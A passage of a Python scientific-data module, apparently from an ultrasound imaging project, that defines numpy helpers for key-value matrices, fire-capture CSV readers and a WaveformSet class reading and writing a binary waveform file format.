consist of one more integers and must have consistent cardinality') savez = np.savez_compressed if compressed else np.savez savez(f, keys=keys, values=values, lengths=lengths, **exargs) def loadz_keymat(*args, **kwargs): ''' Load and return, using numpy.load(*args, **kwargs), a mapping (created with savez_keymat) from one or more integers to one or more numerical values. If the number of elements in every value array is 1, setting an optional keyword argument scalar (True by default) to False will preserve the values as 1-element Numpy arrays. Otherwise, 1-element Numpy arrays will be collapsed to scalars. The scalar keyword argument is stripped from the kwargs and is not passed to numpy.load. The data types of the value arrays can be forced by specifying an optional keyword argument dtype. The dtype argument will be stripped from the kwargs and is not passed to numpy.load. The returned mapping is an OrderedDict that preserves the ordering of keys in the input file. If the loaded file does not contain a valid mapping in the style prepared by savez_keymat, a ValueError will be raised. If the file contains a "comment" key, it will be silently ignored. ''' # Pull specialty kwargs scalar = kwargs.pop('scalar', True) dtype = kwargs.pop('dtype', None) try: # Load the file with np.load(*args, **kwargs) as data: try: files = set(data.keys()) # Ignore a comment in the file try: files.remove('comment') except KeyError: pass # Make sure all other fields are recognized if files != { 'keys', 'values', 'lengths' }: raise ValueError except (AttributeError, ValueError): raise ValueError('Unrecognized data structure in input') keys = data['keys'] values = data['values'] lengths = data['lengths'] except AttributeError: raise ValueError('Invalid file format') # Convert the data type if desired if dtype is not None: values = values.astype(dtype) if not np.issubdtype(keys.dtype, np.integer) or not 0 < keys.ndim < 3: raise ValueError('Invalid mapping key structure') if not np.issubdtype(lengths.dtype, np.integer) or lengths.ndim > 1: raise ValueError('Invalid mapping length structure') if not np.issubdtype(values.dtype, np.number) or values.ndim != 1: raise ValueError('Invalid mapping value structure') if lengths.ndim == 1 and len(lengths) != len(keys): raise ValueError('Mapping lengths and keys do not have equal lengths') nvals = np.sum(lengths) if lengths.ndim == 1 else (lengths * len(keys)) if len(values) != nvals: raise ValueError('Mapping values do not have appropriate lengths') if scalar: # Determine whether the mapped values can be collapsed to scalars if lengths.ndim == 0: scalar = lengths == 1 else: scalar = (lengths.shape[0] > 0 and all(lv == 1 for lv in lengths)) # Collapse 1-element keys to scalars try: keys = keys.squeeze(axis=1) except ValueError: pass if keys.ndim == 2: # Convert a list of key values to a tuple of Python scalars keys = [ tuple(k.tolist()) for k in keys ] else: # Collapse a single key value to a single Python scalar keys = [ k.tolist() for k in keys ] mapping = OrderedDict() start = 0 for key, lv in zip(keys, lengths if lengths.ndim == 1 else repeat(lengths)): mapping[key] = values[start] if scalar else values[start:start+lv] start += lv return mapping def loadtxt_keymat(*args, **kwargs): ''' Loads a textual Numpy matrix by calling numpy.loadtxt(*args, **kwargs), then converts the output to an OrderedDict mapping integers in some positive number of leading columns to Numpy arrays composed of the remaining columns. The ouput dictionary preserves the ordering of rows in the input file. If the number of remaining columns is 1, setting an optional keyword argument scalar (default: True) to False will preserve 1-element Numpy arrays as the values of the dictionary. Otherwise, 1-element Numpy arrays in the dictionary values will be collapsed to scalars. The scalar keyword argument is stripped from kwargs and is not passed to numpy.loadtxt. The dimensionality of the text matrix will be forced to 2 by adding ndmin=2 to the kwargs. Therefore, this value should not be specified in args or kwargs. An optional keyword argument, nkeys (default: 1), will be stripped from kwargs to determine the number of leading columns to use as keys. If nkeys is 1, the keys will be single integers. For nkeys > 1, the keys will be tuples of integers. ''' # Pull speciality kwargs nkeys = strict_nonnegative_int(kwargs.pop('nkeys', 1), positive=True) scalar = kwargs.pop('scalar', True) # Ensure the dimensionality is correctly specified kwargs['ndmin'] = 2 mat = np.loadtxt(*args, **kwargs) _, ncol = mat.shape if nkeys >= ncol: raise ValueError('Number of key columns must be less than number of columns in matrix') def kvmaker(g): k = tuple(strict_int(gv) for gv in g[:nkeys]) v = g[nkeys:] if len(k) < 2: k = k[0] if scalar and len(v) < 2: v = v[0] return k, v return OrderedDict(kvmaker(g) for g in mat) def savetxt_keymat(*args, **kwargs): ''' Stores a dictionary mapping integers to sequences as a textual Numpy matrix using numpy.savetxt(*args, **kwargs), where the keys become the leading columns of the matrix and the remaining columns are populated by the corresponding values. If a format is specified as the 'fmt' argument to savetxt, it must account for the extra columns populated by the keys. If kwargs contains a 'sortrows' argument, the Boolean value (defaulting to True) for the argument determines whether the mapping is sorted by keys prior to output. Without sorting, the row order is either arbitrary or enforced by the input map (e.g., an OrderedDict). This argument is not forwarded to savetxt. ''' # Pull the map if len(args) > 1: x = args[1] else: x = kwargs.pop('X') sortrows = kwargs.pop('sortrows', True) def aslist(x): try: return list(x) except TypeError: return list([x]) rows = iter(x.items()) if not sortrows else sorted(x.items()) # Convert the dictionary to a list of lists mat = [ aslist(k) + aslist(v) for k, v in rows ] # Overwrite the input argument for the matrix if len(args) > 1: args = tuple(a if i != 1 else mat for i, a in enumerate(args)) else: kwargs['X'] = mat np.savetxt(*args, **kwargs) def findenumfiles(dir, prefix='.*?', suffix='', ngroups=1): ''' Find all files in the directory dir with a name matching the regexp r'^<PREFIX>(-([0-9]+)){ngroups}<SUFFIX>$', where <PREFIX> is replaced with an optional prefix and <SUFFIX> is replaced with an optional suffix to restrict the search, and return a list of tuples in which the first item is the name and subsequent entries are the matched integers (which will number ngroups) in left-to-right order. ''' from os.path import join from re import compile as recomp if ngroups < 1: raise ValueError('At least one number group must be specified') # Build the number-matching portion numstr = '-([0-9]+)' * ngroups # Enumerate the matching groups (0 is the whole matching string) grpidx = tuple(range(ngroups + 1)) # Build the regexp and filter the list of files in the directory regexp = recomp(r'^%s%s%s$' % (prefix, numstr, suffix)) # When converting matched groups to integers, discard the whole-string group return [tuple([join(dir, f)] + [int(g) for g in m.group(*grpidx)[1:]]) for f in os.listdir(dir) for m in [regexp.match(f)] if m] def specreptype(): ''' Returns a numpy data type consisting of a 64-bit complex component, labeled 'val', which stores the magnitude of a spectral component and a 64-bit integer, labeled 'idx', which stores the component's FFT index. ''' return np.dtype([('val', np.complex64), ('idx', np.int64)]) def splitspecreps(a): ''' Break a record array a of concatenated spectral representations, with dtype habis.formats.specreptype(), into a list of record arrays corresponding to each group of spectral representations in the original array. The number of records in the first group (output[0]) is specified by n[0] = (a[0]['idx'] + 1), with output[0] = a[:n[0]]. The number of records in a subsequent group (output[i]) is given by n[i] = (a[sum(n[:i-1])]['idx'] + 1), with output[i] = a[sum(n[:i-1]):sum(n[:i])]. ''' start = 0 output = [] while start < len(a): nvals = a[start]['idx'] + 1 if nvals < 1: raise ValueError('Spectral representation counts must be positive') grp = a[start:start+nvals] if len(grp) < nvals: raise ValueError('Could not read specified number of records') output.append(a[start:start+nvals]) start += nvals return output def countspecreps(f): ''' For a file f that contains sequence of spectral representations, return the number of components in each group within the sequence. Thus, if A represents the array of habis.formats.specreptype() records listed in the file f, the output array n will have n[0] = (A[0]['idx'] + 1), and n[i] = (A[sum(n[:i-1])]['idx'] + 1). ''' dtype = specreptype() # Open the file and determine its size infile = open(f, 'rb') infile.seek(0, os.SEEK_END) fend = infile.tell() infile.seek(0, os.SEEK_SET) # Scan through the file to pick up all of the counts n = [] while (infile.tell() < fend): # Read the header record and add it to the list nrec = np.fromfile(infile, dtype=dtype, count=1)[0]['idx'] n.append(nrec + 1) # Skip over the records for this group infile.seek(nrec * dtype.itemsize, os.SEEK_CUR) return n def repreducer(n): ''' This is a factory function that returns a reducer function, suitable for use in readfiresequence and readfirecapture, which selects only rows whose repetition index matches the specified integer n. ''' def reducefunc(mat): return mat[mat[:,1].astype(int) == n] return reducefunc def readfirecapture(f, reducer=None): ''' Read the capture of a single HABIS fire sequence (with any number of transmit repetitions) in CSV format. The file has 4 header lines and is comma-delimited. The format of each line is a sequence of integers channel, repetition, samples... where samples are in the range [-8192,8192). Channel values are indexed from zero. The data is sorted first by channel and then by repetition index before processing. The return value is a tuple (output, channels, repetitions), where output is 3-D array of the form output[i,j,k], where i is the receive channel index, j is the repetition, and k is the sample index. Every receive channel must contain the same number of repetitions or a ValueError will be raised. The list channels contains elements that indicate the channel indices identified in the file, such that channels[i] is the listed channel index for slice output[i,:,:]. The list repetitions is similarly defined such that reptitions[j] is the listed repetition index for slice output[:,j,:]. If reducer is not None, it should be a callable that takes as input the raw array data read from f and returns a filtered version of the data that will be processed as that were the raw data read from the file. ''' from pandas import read_csv # Read the data and use the reducer filter if appropriate data = read_csv(f, skiprows=4, header=None).values # If reducer is None, a TypeError is raised; just ignore it try: data = reducer(data) except TypeError: pass # Sort the data according to channel and repetition idx = sorted((d[0], d[1], i) for i, d in enumerate(data[:,:2])) data = data[[v[-1] for v in idx]] # Count the channels and reptitions def counter(x, y): "Count the channel and repetition in a result dictionary tuple" try: x[0][y[0]] += 1 except KeyError: x[0][y[0]] = 1 try: x[1][y[1]] += 1 except KeyError: x[1][y[1]] = 1 return x channels, repetitions = reduce(counter, idx, ({}, {})) # Ensure that all channels have the same repetition count if len(set(channels.values())) != 1: raise ValueError('All channels must have the same number of reptitions') if len(set(repetitions.values())) != 1: raise ValueError('Each channel must have same set of reptition indices') # Strip out the channel and repetition indices channels = sorted(channels.keys()) repetitions = sorted(repetitions.keys()) nchan = len(channels) nreps = len(repetitions) nsamps = data.shape[-1] - 2 return data[:,2:].reshape((nchan, nreps, nsamps)), channels, repetitions def readfiresequence(fmt, findx, reducer=None): ''' Read a series of HABIS fire capture fires whose names are given by the Python format string fmt. The string fmt is passed to the format function with each value in the sequence findx to produce a unique filename. The output arrays of readfirecapture() are collected, in sequence, and concatenated along a new first axis. The channel and reptition indices returned by readfirecapture() are ignored. However, because np.concatenate() is used to produce the concatenated output, every readfirecapture() array must have the same shape. The reducer is passed to readfirecapture for processing per-fire data. ''' data = [readfirecapture(fmt.format(f), reducer=reducer)[0][np.newaxis,:,:,:] for f in findx] return np.concatenate(data, axis=0) class TxGroupIndex(tuple): ''' A class to encapsulate and type-check transmit-index pairs. ''' def __new__(cls, lidx, gidx): ''' Create a new TxGroupIndex with local index lidx and group index gidx. ''' lidx = strict_nonnegative_int(lidx) gidx = strict_nonnegative_int(gidx) return tuple.__new__(cls, (lidx, gidx)) @property def idx(self): return self[0] @property def grp(self): return self[1] def signForTx(self, transmission, group): ''' Return the sign (-1, 0, 1) of the given transmission number and group for this transmit and group index. ''' # If the groups don't match, the sign is zero if group != self.grp: return 0 # Count number of common bits in transmission and idx txcom = strict_nonnegative_int(transmission) & self.idx count = 0 while txcom: txcom &= txcom - 1 count += 1 # Sign is +1 for even number of common bits return 1 - 2 * (count % 2) class TxGroupConfiguration(tuple): ''' A class to encapsulate and type-check transmit-group configurations. ''' def __new__(cls, count, size): ''' Create a new TxGroupConfiguration. ''' count = strict_nonnegative_int(count) size = strict_nonnegative_int(size) return tuple.__new__(cls, (count, size)) @property def count(self): return self[0] @property def size(self): return self[1] @property def maxtx(self): return self[0] * self[1] class RxChannelHeader(tuple): ''' A class to encapsulate and type-check receive-channel headers in WaveformSet files. ''' def __new__(cls, idx, pos, win, txgrp=None): ''' Create a new header for receive channel idx, element location pos = (px, py, pz), and data window win = (start, length). The transmit group txgrp may either be None or (index, group). ''' from .sigtools import Window idx = strict_nonnegative_int(idx) px, py, pz = pos pos = tuple(float(p) for p in (px, py, pz)) # Force the window start to be nonnegative win = Window(win, nonneg=True) if txgrp is not None: txgrp = TxGroupIndex(*txgrp) return tuple.__new__(cls, (idx, pos, win, txgrp)) @property def idx(self): return self[0] @property def pos(self): return self[1] @property def win(self): return self[2] @property def txgrp(self): return self[3] def copy(self, **kwargs): "Copy the header, optionally replacing certain properties." keys = ['idx', 'pos', 'win', 'txgrp'] props = dict((key, kwargs.pop(key, getattr(self, key))) for key in keys) if len(kwargs): raise TypeError("Unrecognized keyword '%s'" % (next(iter(kwargs.keys())),)) return type(self)(**props) class WaveformSet(object): ''' A class to encapsulate a (possibly multi-facet) set of pulse-echo measurements from a single target. ''' # A bidirectional mapping between typecodes and Numpy dtype names from pycwp.util import bidict typecodes = bidict({b'I2': 'int16', b'I4': 'int32', b'I8': 'int64', b'F2': 'float16', b'F4': 'float32', b'F8': 'float64', b'C4': 'complex64', b'C8': 'complex128'}) @staticmethod def _get_open(f=None, compression=None): ''' Return the appropriate open function to handle optionally compressed files and a Boolean that is True iff compression was detected or requested. If f is not None, it should be the name of an existing file. The python-magic module will be used to determine whether gzip.open, bz2.open or the regular open should be used to read the file. The "compression" argument in this case is ignored. If f is None, then compression should be one of None, 'gzip' or 'bz2'. ''' import bz2, gzip openers = { 'bz2': bz2.open, 'gzip': gzip.open, '': open } if not f: compression = (compression or '').strip().lower() errmsg = 'Value of compression must be None, "gzip" or "bz2"' else: try: import magic except ImportError: mime = '' else: mime = magic.Magic(mime=True).from_file(f).lower() compression = { 'application/x-gzip': 'gzip', 'application/x-bzip2': 'bz2' }.get(mime, '') errmsg = 'Unable to determine file compression scheme' try: return (openers[compression], compression != '') except KeyError: raise ValueError(errmsg) @classmethod def fromwaveform(cls, wave, copy=False, hdr=None, rid=0, tid=0, f2c=0): ''' Create a new WaveformSet object with a single transmit index and a single receive index with a sample count and data type defined by the provided Waveform wave. The sole waveform record will be populated with wave. If copy is False, the record in the WaveformSet will, whenever possible, capture a reference to the waveform data instead of making a copy. If copy is True, a copy will always be made. If hdr is not None, it should be a receive-channel header that will be used for the single receive-channel record in the output WaveformSet. The value of hdr.win will be overwritten with wave.datawin, and the value of rid will be ignored. If hdr is None, a default header (rid, [0., 0., 0.], wave.datawin) will be used. The parameter tid should be a single nonnegative integer that specifies the transmit index to assign to the Waveform. The parameter f2c should be a single nonnegative integer that specifies the fire-to-capture delay to encode in the set. ''' # Create the set wset = cls(1, tid, wave.nsamp, f2c, wave.dtype) if hdr is None: # Create a default header hdr = RxChannelHeader(rid, [0.]*3, wave.datawin) else: # Ensure hdr is RxChannelHeader, then set datawin hdr = RxChannelHeader(*hdr).copy(win=wave.datawin) wset.setrecord(hdr, wave.getsignal(wave.datawin), copy) return wset @classmethod def empty_like(cls, wset, with_context=True): ''' Create a new instance of WaveformSet configured exactly as wset, except without any waveform records. If with_context is True, the dictionary wset.context will be copied (shallowly) into the created WaveformSet. Otherwise, the context of the created WaveformSet will be empty ''' nwset = cls(wset.ntx, wset.txstart, wset.nsamp, wset.f2c, wset.dtype, wset.txgrps) if with_context: nwset.context = wset.context.copy() else: nwset.context = { } return nwset def __init__(self, ntx=0, txstart=0, nsamp=4096, f2c=0, dtype=np.dtype('int16'), txgrps=None): ''' Create an empty WaveformSet object that embodies acquisitions of a set of waveforms from a total of ntx transmission indices (0-based) starting from index txstart. Each acquisition starts after a fire-to-capture delay of f2c samples and persists for nsamp samples. Waveform arrays are stored with the specified Numpy dtype. If txgrps is specified, it should be a TxGroupConfiguration object or a tuple of the form (count, size) that specifies the number of transmit groups into which transmissions are subdivided, and the number of elements in each group. ''' # Record the waveform dtype self._dtype = np.dtype(dtype) # Prepopulate properties that will be validated later self._f2c = 0 self._nsamp = 0 self._ntx = 0 self._txstart = 0 self._txgrps = None # Create an empty, ordered record dictionary # Needed for validation of other properties self._records = OrderedDict() # Create an empty group map self._groupmap = { } # Assign validated properties self.nsamp = nsamp self.f2c = f2c # Build and validate the transmit-channel mapping self.ntx = ntx self.txstart = txstart # Initialize the group configuration as specified self.txgrps = txgrps # Extra scan context can be read from a file header and is # passed on when writing compatible versions, but is never # inherently interpreted self.context = { } @classmethod def _verify_file_version(cls, version, write=False): ''' Ensure that the provided version matches one supported by the WaveformSet class. If version is unsupported, a ValueError is raised. Otherwise, just return the version tuple. ''' try: major, minor = version major = strict_nonnegative_int(major) minor = strict_nonnegative_int(minor) except (TypeError, ValueError): raise ValueError('Version format is not recognized') if major != 1: raise ValueError('Unsupported major version') if not write: # Support all currently defined formats for reading if not (0 <= minor < 7): raise ValueError('Unsupported minor version for reading') return (major, minor) # Only version-6 writes are supported if minor != 6: raise ValueError('Unsupported minor version for writing') return major, minor def store(self, f, append=False, ver=(1,6), compression=None): ''' Write the WaveformSet object to the data file in f (either a name or a file-like object that allows writing). If append is True, the file-level header is not written. An unopened file is opened for appends instead of truncating an existing file. It is the caller's responsibility to assure that an existing file header is consistent with records written by this method in append mode. The compression argument should be None, 'gzip' or 'bz2'. If compression is not None, f is a string and append is False, the file will be opened as a gzip.GzipFile (for 'gzip') or bz2.BZ2File (for 'bz2'). It is a ValueError to specify a non-None value for compression and a string for f when append mode is True. When f is not a string, the value of compression is ignored. ** NOTE ** Because the WaveformSet may map some input file for waveform arrays after calling load(), calling store() with the same file used to load() may cause unexpected behavior. ''' # Open the file if it is not open if isinstance(f, str): opener, compressed = self._get_open(None, compression) if compressed and append: raise ValueError('Append mode with compression is not supported') f = opener(f, ('ab' if append else 'wb')) # Verify that the output version is supported major, minor = self._verify_file_version(ver, write=True) # A missing transmit-group configuration takes the special value (0,0) try: gcount, gsize = self.txgrps except (TypeError, ValueError): gcount, gsize = 0, 0 if not append: # Encode the magic number and file version hbytes = struct.pack('<4s2I', b'WAVE', major, minor) # Encode temperature values temps = self.context.get('temps', [float('nan')]*2) hbytes += np.asarray(temps, dtype=np.float32).tobytes() # Encode the datatype typecode = self.typecodes.inverse[np.dtype(self.dtype).name][0] hbytes += struct.pack('<2s', typecode) # Encode transmission parameters hbytes += struct.pack('<4I2HI', self.f2c, self.nsamp, self.nrx, self.ntx, gcount, gsize, self.txstart) try: # Make sure TGC is a 1-D array tgc = np.asarray(self.context['tgc'], dtype=np.float32).squeeze() except KeyError: # Header contains no TGC records hbytes += struct.pack('<I', 0) else: if tgc.ndim != 1: raise ValueError('TGC must be a 1-D array of floats') hbytes += struct.pack('<I') hbytes += tgc.tobytes() f.write(hbytes) # Write each record in turn for idx in sorted(self.rxidx): hdr, waveforms = self._get_record_raw(idx) if idx != hdr.idx: raise ValueError('Record index does not match receive-channel index') px, py, pz = hdr.pos ws, wl = hdr.win # Without a transmit-group configuration, use (0,0) try: li, gi = hdr.txgrp except (TypeError, ValueError): li, gi = 0, 0 # Enclode the receive-channel header hbytes = struct.pack('<3I3f2I', idx, li, gi, px, py, pz, ws, wl) f.write(hbytes) # Encode the waveform data wbytes = waveforms.tobytes() f.write(wbytes) f.flush() @staticmethod def _funpack(f, fmt): ''' Read from the file pointer f (using f.read) the appropriate number of bytes to unpack the struct described by the format string fmt. The file must already be open. Any exception is caught and converted into a WaveformSetIOError. ''' try: sz = struct.calcsize(fmt) return struct.unpack(fmt, f.read(sz)) except Exception as err: raise WaveformSetIOError(f'Failure to unpack bytes: {err}') @staticmethod def _npunpack(f, dtype, count): ''' Read from the file point f (using f.read) the approriate number of bytes to built a 1-D Numpy array of the specified type and count. The count must be nonnegative. If count is 0, the returned array will be empty. The file must alread by open. Any exception raised by the I/O and Numpy bytes-to-array conversion is caught and converted into a WaveformSetIOError. ''' if count < 0: raise ValueError(f'Cannot read {count} bytes into Numpy array') elif count < 1: return np.array([], dtype=dtype) dtype = np.dtype(dtype) try: rbytes = f.read(dtype.itemsize * count) return np.frombuffer(rbytes, dtype, count) except Exception as err: raise WaveformSetIOError(f'Failure to read array: {err}') @classmethod def load(cls, f, force_dtype=None, allow_duplicates=False, skip_zero_length=True, warn_on_error=True, header_only=False, stream_mode=False): ''' Create a WaveformSet object with the data in f, a file-like object or string specifying a file name. If f is a file-like object, parsing starts from the current file position. In general, any error will cause a WaveformSetIOError exception to be raised. Each block of waveform data is memory-mapped (except when stream_mode is True; see below) from the source file. This mapping is copy-on-write; changes do not persist. If force_dtype is not None, and the data type of records stored in the file is not equal to force_dtype, each record block will be converted to the data type in the datatype argument. If allow_duplicates is False, file parsing will halt the first time a header is encounted for a receive-channel index previously encountered in the file. If allow_duplicates is True, each receive-channel record will replace any previously encountered records for the same channel index. Records for which the data block has zero length will be read but not stored in the WaveformSet object if skip_zero_length is True; if it is False, the empty record will be stored. ** NOTE: If allow_duplicates is False, encountering multiple records for the same receive-channel index will terminate even if one or more of the duplicate records has zero length and skip_zero_length is True. It is an error if the number of parsed receive-channel records does not equal the number of records enconcoded in the file header. If warn_on_error is True, this error will cause a warning to be issued. Otherwise, a WaveformSetIOError will be raised in case this error is encountered. If header_only is True, the contents of the WaveformSet header header will be read from the file, but processing will stop before records are read and stored in the WaveformSet instance. No file-length checks are performed to determine whether the file contents are valid (beyond the ability to parse the header), and no indication of the receive channels encoded in the file will be available. When header_only is False, this method returns the WaveformSet instance. When header_only is True, this method returns the WaveformSet and the value of the "nrx" property encoded in the file. If stream_mode is True, the waveform data will not be memory-mapped, but will be copied into locally controlled memory. Furthermore, seeks will not be performed on the input, making this mode suitable for compressed input. (This method will not attempt to open compressed files, so the argument f should be a GzipFile, BZ2File or similar instance if inline decompression is desired.) ''' # Open the file if it is not open if isinstance(f, str): opener, compressed = cls._get_open(f) f = opener(f, mode='rb') # Force stream mode for compressed input if compressed: stream_mode = True # Convenience: attach the file to funpack and npunpack funpack = partial(cls._funpack, f) npunpack = partial(cls._npunpack, f) # Read the magic number and file version try: magic, major, minor = funpack('<4s2I') if magic != b'WAVE': raise WaveformSetIOError except WaveformSetIOError: raise WaveformSetIOError('Unable to identify WAVE header') try: major, minor = cls._verify_file_version((major, minor)) except ValueError as err: raise WaveformSetIOError(f'Unsupported WAVE format: {err}') # Create some empty context context = { } if minor > 4: # Read temperature context try: context['temps'] = npunpack('float32', 2) except WaveformSetIOError as err: raise WaveformSetIOError(f'Invalid temperature: {err}') # Read the type code for this file try: typecode = funpack('<2s')[0] dtype = np.dtype(cls.typecodes[typecode]) except (WaveformSetIOError, KeyError) as err: raise WaveformSetIOError(f'Invalid typecode: {err}') if force_dtype is not None: # Force a dtype conversion, if necessary force_dtype = np.dtype(force_dtype) if force_dtype == dtype: force_dtype = None # Parse common transmission parameters f2c, nsamp, nrx, ntx = funpack('<4I') # By default, start the transmission indexing at 0 txstart = 0 # Clear any group configuration for now txgrps = None if minor > 1: # Read the group configuration count, size = funpack('<2H') # Make sure both values are sensible integers count = strict_nonnegative_int(count) size = strict_nonnegative_int(size) # Only configure transmit groups if the count is positive if count > 0: # Default group size, if unspecified, is 10240 / count if size == 0: size = 10240 // count if size * count != 10240: msg = f'Unable to infer size for {count} groups' raise WaveformIOError(msg) txgrps = count, size # For version (1,4) and above, read an explicit txstart if minor >= 4: txstart = funpack('<I')[0] # Minor versions below 6 used fixed 256-value TGC records if minor < 6: rcount = 256 else: rcount = funpack('<I')[0] if rcount: try: tgc = npunpack('float32', rcount) except WaveformSetIOError as err: msg = f'Unable to read {rcount} TGC values: {err}' raise WaveformSetIOError(msg) # For minor versions < 6, don't keep all-zero TGC if minor > 5 or np.count_nonzero(tgc): context['tgc'] = tgc elif minor == 0: # Verion 0 uses an explicit 1-based transmit-index list try: txidx = npunpack('uint32', ntx) - 1 except WaveformSetIOError: msg = 'Tx list must contain {ntx} values: {err}' raise WaveformSetIOError(msg) # Now create the empty object and associate context wset = cls(ntx=ntx, txstart=txstart, nsamp=nsamp, f2c=f2c, dtype=(force_dtype or dtype), txgrps=txgrps) wset.context = context # Skip processing of records in header_only mode if header_only: return wset, nrx if not stream_mode: # Use a single Python mmap buffer for backing data # (Map starts at file start; remember current location) fsrec = f.tell() buf = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_COPY) f.seek(fsrec) # For (1, 2) files, keep a running index tally idx = -1 # If the set isn't configured for transmit groups, # ignore any group spec in the receive-channel headers usegrps = (wset.txgrps is not None) # Keep track of duplicate records, if necessary if not allow_duplicates: encountered = set() # Parse through the specified number of receive records # As a special case, when nrx is zero, read all possible records while nrx == 0 or wset.nrx < nrx: if minor == 2: # Update running index idx += 1 else: # Read a global channel index # Correct 1-based indexing in early versions try: idx = funpack('<I')[0] - int(minor < 2) except WaveformSetIOError: break # Read element position and data window parameters if minor > 1: # Also read transmission group configuration try: i, g, px, py, pz, ws, wl = funpack('<2I3f2I') except WaveformSetIOError: break txgrp = (i, g) if usegrps else None if minor == 2: # Correct an off-by-one window specification bug if wl == nsamp and ws == 1: ws = 0 else: try: px, py, pz, ws, wl = funpack('<3f2I') except WaveformSetIOError: break txgrp = None # Build the channel header hdr = (idx, (px, py, pz), (ws, wl), txgrp) if not allow_duplicates: if idx in encountered: msg = f'Parsing terminated at duplicate record {idx}' warnings.warn(WaveformSetIOWarning(msg)) # Avoid detecting junk after duplicate header if not stream_mode: fsrec = f.tell() break encountered.add(idx) # Determine the shape of the waveform waveshape = (ntx, wl) if not stream_mode: # Return a view into the map fsmap = f.tell() try: wavemap = np.ndarray(waveshape, dtype=dtype, buffer=buf, order='C', offset=fsmap) except TypeError: break # Skip to next header and update next record offset f.seek(fsmap + wavemap.nbytes) fsrec = f.tell() else: # Read into a new array nvals = waveshape[0] * waveshape[1] try: wavemap = npunpack(dtype, nvals).reshape(waveshape, order='C') except WaveformSetIOError: break if not skip_zero_length or wavemap.nbytes != 0: if force_dtype is not None: wmap = wavemap.astype(force_dtype) else: wmap = wavemap # Add the record to the set wset.setrecord(hdr, wmap, copy=False) if not stream_mode and f.tell() != fsrec: warnings.warn(WaveformSetIOWarning('Junk at end of file')) if nrx and wset.nrx != nrx: err = f'Header specifies {nrx} records, but read {wset.nrx}' if warn_on_error: warnings.warn(WaveformSetIOWarning(err)) else: raise WaveformSetIOError(err) return wset @property def rxidx(self): ''' Return a list of receive-channel indices in file order. ''' return list(self._records.keys()) @property def txgrps(self): ''' Return the (count, size) of transmit groups, or None for no grouping. ''' return self._txgrps @txgrps.setter def txgrps(self, grps): ''' Set the group count and length. Removes any existing groupmap property. ''' if grps == self._txgrps: return if self.nrx > 0: raise ValueError('Cannot change transmit-group configuration with existing records') if grps is None: self._txgrps = None self.groupmap = None return try: grps = TxGroupConfiguration(*grps) except (TypeError, ValueError): raise ValueError('Parameter must be None or (count, size) tuple') if grps.maxtx < self.ntx: raise ValueError('Implied maximum transmission count is less than number of recorded transmissions') if grps.maxtx <= self.txstart: raise ValueError('Implied maximum transmission count is less than starting transmission index') self._txgrps = grps self.groupmap = None @property def txstart(self): ''' Return the first transmission index in the records. ''' return self._txstart @txstart.setter def txstart(self, txstart): ''' Set the first transmission index in the records, which must be a nonnegative integer within the tranmission range implied by the group configuration in self.txgrps. ''' if txstart == self._txstart: return txstart = strict_nonnegative_int(txstart) try: maxtx = self.txgrps.maxtx except AttributeError: pass else: if txstart >= maxtx: raise ValueError('Parameter txstart exceeds maxtx of transmit-group configuration') self._txstart = txstart @property def txidx(self): ''' Return a generator of tranmit-channel indices in file order. ''' txstart = self.txstart txgrps = self.txgrps try: maxtx = self.txgrps.maxtx except AttributeError: for i in range(txstart, txstart + self.ntx): yield i else: for i in range(txstart, txstart + self.ntx): yield i % maxtx @txidx.setter def txidx(self, txidx): ''' Checks the provided list for sequential ordering of the input sequence txidx and, if the check is satisfied, assigns self.txstart and self.ntx accordingly. If the indices are not sequential, but self.txgrps is None, the txgrp configuration and self.groupmap will be set to map transmit indices 0 through len(txidx) - 1 to the elements of txidx. ''' txidx = list(txidx) try: txstart = txidx[0] except IndexError: self.ntx = 0 self.txstart = 0 return try: maxtx = self.txgrps.maxtx except AttributeError: def nextval(x): return (x + 1) else: def nextval(x): return (x + 1) % maxtx last = txstart sequential = True for nv in txidx[1:]: last = nextval(last) if nv != last: sequential = False break def atomic_set(txstart, ntx): # Record the old txstart to ensure atomicity otxstart = self.txstart self.txstart = txstart try: self.ntx = ntx except: # Restore the old txstart before failing self.txstart = otxstart raise if not sequential: if self.txgrps is not None: raise ValueError('Indices must be sequential or wrap when txgrps is defines') # Set txgrp configuration to remap out-of-sequence indices atomic_set(0, len(txidx)) self.txgrps = (self.ntx, 1) self.groupmap = { txi: (0, i) for i, txi in enumerate(txidx) } else: atomic_set(txstart, len(txidx)) @property def ntx(self): ''' Return the number of transmissions per receive channel. ''' return self._ntx @ntx.setter def ntx(self, ntx): ''' Set the number of transmissions per receive channel. ''' # Take no action if the count hasn't changed if ntx == self._ntx: return # Don't attempt to change the transmit count with existing records if self.nrx > 0: raise ValueError('Cannot change number of transmissions with existing records') try: if ntx > self.txgrps.maxtx: raise ValueError('Number of transmissions must not exceed maxtx implied by transmit-group configuration') except AttributeError: pass self._ntx = strict_nonnegative_int(ntx) @property def nrx(self): ''' Return the number of receive channels in this waveform set. ''' return len(self._records) @property def dtype(self): ''' Return the datatype used to store waveforms. ''' return self._dtype @dtype.setter def dtype(self, value): ''' Set the datatype used to store waveforms. ''' if self._dtype == value: return if self.nrx > 0: raise ValueError('Cannot change datatype with existing records') self._dtype = np.dtype(value) @property def nsamp(self): ''' Return the total number of samples collected in the acquisitions. ''' return self._nsamp @nsamp.setter def nsamp(self, nsamp): ''' Set the total number of samples in the acquisition window. Ensure existing records don't fall outside of the window. ''' if self._nsamp == nsamp: return # Force the new value to be an nonnegative integer nsamp = strict_nonnegative_int(nsamp) # Check all existing records to ensure their windows don't # extend past the new acquisition window for hdr, wforms in self.allrecords(): start, length = hdr.win if start + length > nsamp: raise ValueError('Acquisition window fails to contain stored waveforms') # Set the new value self._nsamp = nsamp @property def f2c(self): ''' Return the fire-to-capture delay in 20-MHz samples. ''' return self._f2c @f2c.setter def f2c(self, val): ''' Set the fire-to-capture delay in 20-MHz samples. ''' if self._f2c == val: return self._f2c = strict_nonnegative_int(val) @property def groupmap(self): ''' Access a copy of the map between global element indices to tuples (local index, group index) that govern firing order. ''' return dict(self._groupmap) @groupmap.setter def groupmap(self, grpmap): ''' Check the provided mapping from global element indices to (local index, group index) for consistency and assign the map to this instance. Set grpmap to None or an object with 0 len() to clear the map. ''' if grpmap is None or len(grpmap) < 1: self._groupmap = { } return if self.txgrps is None: raise ValueError('Cannot set a group map without a txgrps configuration for the WaveformSet') # Make sure the map is valid and consistent with txgrp configuration ngrpmap = { } for k, v in grpmap.items(): ki = strict_nonnegative_int(k) vi, vg = [strict_nonnegative_int(vl) for vl in v] if vi >= self.txgrps.size: raise ValueError('Local index in group map exceeds txgrp size') if vg >= 